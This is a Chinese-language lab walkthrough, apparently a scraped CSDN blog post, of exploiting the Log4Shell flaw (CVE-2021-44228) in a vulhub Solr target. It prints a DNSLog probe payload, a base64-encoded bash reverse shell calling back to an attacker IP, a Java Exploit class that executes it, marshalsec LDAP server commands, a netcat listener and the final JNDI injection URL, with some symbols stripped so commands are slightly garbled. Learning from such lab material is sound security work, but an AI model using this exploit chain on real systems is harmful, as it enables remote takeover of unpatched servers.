网站更换运营商要重新备案,如何评估一个网站,小程序开发公司制作,网站的修改建设文字参考文章#xff1a;
http://t.csdnimg.cn/3K5ml
说明
log4j2#xff1a;
log4j2是apache下的java应用常见的开源日志库#xff0c;是一个就Java的日志记录工具。在log4j框架的基础上进行了改进#xff0c;并引入了丰富的特性#xff0c;可以控制日志信息输送的目的地…参考文章
http://t.csdnimg.cn/3K5ml
说明
log4j2
log4j2是apache下的java应用常见的开源日志库是一个就Java的日志记录工具。在log4j框架的基础上进行了改进并引入了丰富的特性可以控制日志信息输送的目的地为控制台、文件、GUI组建等被应用于业务系统开发用于记录程序输入输出日志信息。
靶场搭建
在vulhub上面下载靶场包找到编号CVE-2021-44228使用docker以下命令启动
[rootbogon CVE-2021-44228]# docker compose up -d 完成后查看服务端口 8983
[rootbogon CVE-2021-44228]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
da2dd853a17a vulhub/solr:8.11.0 bash /docker-entryp… 12 minutes ago Up 12 minutes 0.0.0.0:8983-8983/tcp, :::8983-8983/tcp cve-2021-44228-solr-1
访问 测试漏洞
在/solr/admin/cores?有个参数可以传这就是个注入点我们试试能不能输出java版本构造payload访问的url如下
http://192.168.87.87:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.10ztpb.dnslog.cn } 注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞我们将在DNSLog平台看到回显。 可以看到java的版本了说明存在漏洞
漏洞利用
编写恶意文件Exploit.java企图反弹shell到kali的7777端口
bash -i /dev/tcp/192.168.87.131/7777 01
进行base64编码
bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDAJjE}|{base64,-d}|{bash,-i}
然后编写恶意文件命名为Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {public Exploit(){try{Runtime.getRuntime().exec(/bin/bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDAJjE}|{base64,-d}|{bash,-i});}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e new Exploit();}
}
然后我们把Exploit.java编译为Exploit.class最好保证javac的版本为1.8。命令如下
javac Exploit.java
把这个class文件上传到kali的某一个目录下面
在kali中的某一个目录中开启4444端口 然后我们浏览器访问kali的这个目录可以看到 下面需要在kali中启动LDAP服务这里使用marshalsec-0.0.3-SNAPSHOT-all.jar工具安装过程详见
http://t.csdnimg.cn/VgTj4 然后下载marshalsec包在目录下面解压后进行编译
mvn clean package -DskipTests
https://github.com/mbechler/marshalsec
编译完成后会发现目录中有我们需要的这个jar包我们是要用这个工具建立LDAP服务 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.87.131:4444/#Exploit 1389 接着在攻击机另起一个终端监听之前Exploit.java里面写的反弹shell的端口7777命令为
nc -lvvp 7777 最后一步也是最关键的一步进行JNDI注入我们在注入点/solr/admin/cores?action构造一个JNDI注入如下
${jndi:ldap://192.168.87.131:1389/Exploit}
完整的url为
http://192.168.87.87:8983/solr/admin/cores?action${jndi:ldap://192.168.87.131:1389/Exploit}
我们访问可以看到 kali上面可以看到 可以看到靶机已经成功访问到了恶意文件如果成功执行的话可以看到监听7777端口的回显并且远程执行命令了不过我这边靶机没有执行这个文件大致过程是这样子